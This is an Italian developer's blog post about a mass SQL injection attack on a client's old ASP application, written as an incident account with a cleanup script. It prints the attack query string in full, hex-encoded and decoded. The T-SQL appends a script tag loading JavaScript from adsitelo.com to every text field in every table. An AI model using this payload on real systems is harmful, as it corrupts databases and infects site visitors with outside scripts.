Difficilmente vedrete su questo blog altri post di questo genere: devo già combattere quotidianamente con gli assilli del lavoro che non mi sembra proprio il caso di continuare a parlarne qua.

Ma visto che ho dovuto perdere una sacrosanta mattina inseguendo Javascripts disseminati in un preziosissimo database di un cliente, mi sembra pur giusto alleviare il dolore di chi si troverà (prima o poi) nelle mie stesse condizioni. Se non altro, vi offro una soluzione che io non ho trovato, e che quindi sarà d’aiuto per il prossimo. Quanto sono samaritano.

Nella pratica, una nostra applicazione web (fatta un po’ a membro di segugio, per la verità, ma sufficientemente vetusta da esserle di giustificazione), è stata oggetto delle attenzioni di smidollati extraeuropei (molto extra, dannatamente extra) che hanno tentato di iniettare un po’ di loro sterco nei nostri pulitissimi sistemi. Morale: ci son riusciti.

L’approccio è veramente pietoso in termini di copertura: aggredire un server che hosta applicativi .ASP con dei GET in chiaro, sul QueryString, non so… ma il mio vicino di scrivania che fa il grafico e non sa nulla di nulla di queste cose avrebbe saputo far di meglio. Infatti non dovrebbe essere stato lui.

Ed ecco il querystring incriminato:

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152452040542056415
24348415228323535292C404320564152434841522832353529204445434C415245205461626
C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E6
16D652046524F4D207379736F626A6563747320612C737973636F6C756D6E732062205748455
24520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747
970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F522
0622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204
E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4
528404046455443485F5354415455533D302920424547494E204558454328275550444154452
05B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E564552542856
4152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D
687474703A2F2F7777772E6164736974656C6F2E636F6D2F622E6A733E3C2F7363726970743
E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E54
4F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4
3415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Davvero simpatico, il pischello che l’ha ideato. Non aveva niente di meglio da fare che ragionare una genialata del genere. Ok, non ci vuol molto a decifrare quel papocchio di stringa, dalla quale fuoriescono limpide come l’acqua di sorgente le seguenti poche righe in perfetto SQLlese…

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+”<script src=http://www.adsitelo.com/b.js></script>”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Grande figlio di una beata signora: mi scandisci tutte le tabelle e tutti i campi testo del mio prezioso database, quindi lanci un UPDATE a manetta, troncandomi a 4000 caratteri tutti i contenuti e aggiungi in coda le tue cagate… Capisci che il meno che posso augurarti è che alla pressione dell’ultimo tasto Enter ti colga una tendinite permanente?

E comunque, per quei poveri disgraziati caduti nella trappola dei signori adsitelo.com, advabnr.com e bigadnet.com, ecco uno script riparatore che, se non altro, vi eviterà di ripassarvi a mano tutte le tabelle e i campi nel tentativo di ripristinare la situazione preesistente. (Già, perché ovviamente per la legge di Muprhy le disgrazie non capitano mai sole, e l’ultimo backup era corrotto…)

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ”<script src=http://www.adsitelo.com/b.js></script>”, ””)’)
EXEC(’UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ”<script src=http://www.advabnr.com/b.js></script>”, ””)’)
EXEC(’UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ”<script src=http://www.bigadnet.com/b.js></script>”, ””)’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Un ringraziamento ad Rey per avermi assistito nel riscontro del guaio. E un sentito ringraziamento anche a chi aveva fatto l’applicazione, così robusta e impeccabile. Sgrunt.

P.S.: Una cronistoria della battaglia la trovate anche qua, grazie al collega Azael!

Ti è piaciuto l'articolo? Vota Ok oppure No. Grazie Mille!

Puoi votare le mie notizie anche in questa pagina.
Altri post che potrebbero interessarti: